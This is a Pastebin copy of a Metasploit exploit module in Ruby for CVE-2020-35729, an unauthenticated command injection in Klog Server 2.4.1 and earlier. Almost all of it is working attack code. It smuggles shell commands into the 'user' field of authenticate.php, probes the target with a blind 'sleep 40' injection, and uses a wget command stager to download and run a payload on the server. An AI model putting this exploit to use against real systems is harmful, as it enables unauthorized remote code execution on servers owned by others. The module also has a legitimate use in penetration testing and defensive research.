Advertisement
FlyFar

Klog Server Unauthenticated Command Injection Vulnerability

Feb 14th, 2024
971
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 3.89 KB | Cybersecurity | 0 0
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. class MetasploitModule < Msf::Exploit::Remote
  7.   Rank = ExcellentRanking
  8.   include Msf::Exploit::Remote::HttpClient
  9.   include Msf::Exploit::CmdStager
  10.  
  11.   def initialize(info={})
  12.     super(update_info(info,
  13.                       'Name'           => 'Klog Server Unauthenticated Command Injection Vulnerability',
  14.                       'Description'    => %q{
  15.                         This module exploits an unauthenticated command injection vulnerability in Klog Server <= 2.4.1.
  16.                         "user" parameter is executed via shell_exec() function without input validation.
  17.                       },
  18.                       'License'        => MSF_LICENSE,
  19.                       'Author'         =>
  20.                         [ 'B3KC4T', # Vulnerability discovery
  21.                           'Metin Yunus Kandemir',  # Metasploit module
  22.                         ],
  23.                       'References'     =>
  24.                         [
  25.                           ['CVE', '2020-35729'],
  26.                           ['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection']
  27.                         ],
  28.  
  29.                       'DefaultOptions' =>
  30.                         {
  31.                           'HttpClientTimeout' => 2,
  32.                         },
  33.                       'Platform'       => [ 'unix', 'linux' ],
  34.                       'Arch'           => [ ARCH_X64 ],
  35.                       'Targets'        => [
  36.                         ['Klog Server 2.4.1 (x64)', {
  37.                           'Platform'    => 'linux',
  38.                           'Arch'        => ARCH_X64,
  39.                         }],
  40.                       ],
  41.                       'Privileged'      => false,
  42.                       'DisclosureDate' => "2021-01-05",
  43.                       'DefaultTarget'  => 0))
  44.     register_options(
  45.       [
  46.         Opt::RPORT(443),
  47.         OptBool.new('SSL', [true, 'Use SSL', true]),
  48.         OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']),
  49.       ]
  50.     )
  51.   end
  52.  
  53.   def filter_bad_chars(cmd)
  54.     cmd.gsub!(/chmod \+x/, 'chmod 777')
  55.     cmd.gsub!(/;/, " %0A ")
  56.     cmd.gsub!(/ /, '+')
  57.     cmd.gsub!(/\//, '%2F')
  58.  
  59.   end
  60.  
  61.   def execute_command(cmd, opts = {})
  62.     command_payload = "unsafe+%22%26+#{filter_bad_chars(cmd)}%26%22"
  63.  
  64.     print_status("Sending stager payload...")
  65.     uri = target_uri.path
  66.     res= send_request_cgi({
  67.                             'method'        => 'POST',
  68.                             'uri'           => normalize_uri(uri, 'actions', 'authenticate.php'),
  69.                             'encode_params' => false,
  70.                             'vars_post'      => {
  71.                               'user' => command_payload,
  72.                               'pswd' => "inline"
  73.                             }
  74.                           })
  75.     if res && res.code == 302
  76.       print_error("The target is not vulnerable!")
  77.     else
  78.       print_good("The target is vulnerable!")
  79.     end
  80.   end
  81.  
  82.   def check
  83.     uri = target_uri.path
  84.     res= send_request_cgi({
  85.                             'method'        => 'POST',
  86.                             'uri'           => normalize_uri(uri, 'actions', 'authenticate.php'),
  87.                             'encode_params' => false,
  88.                             'vars_post'      => {
  89.                               'user' => "unsafe+%22%26sleep+40%26%22", #checking blind command injection via sleep
  90.                               'pswd' => "inline"
  91.                             }
  92.                           })
  93.     if res && res.code == 302
  94.       return Exploit::CheckCode::Safe
  95.     else
  96.       return Exploit::CheckCode::Vulnerable
  97.     end
  98.   end
  99.  
  100.   def exploit
  101.     print_status("Exploiting...")
  102.     execute_cmdstager(flavor: :wget, delay: 10)
  103.   end
  104. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement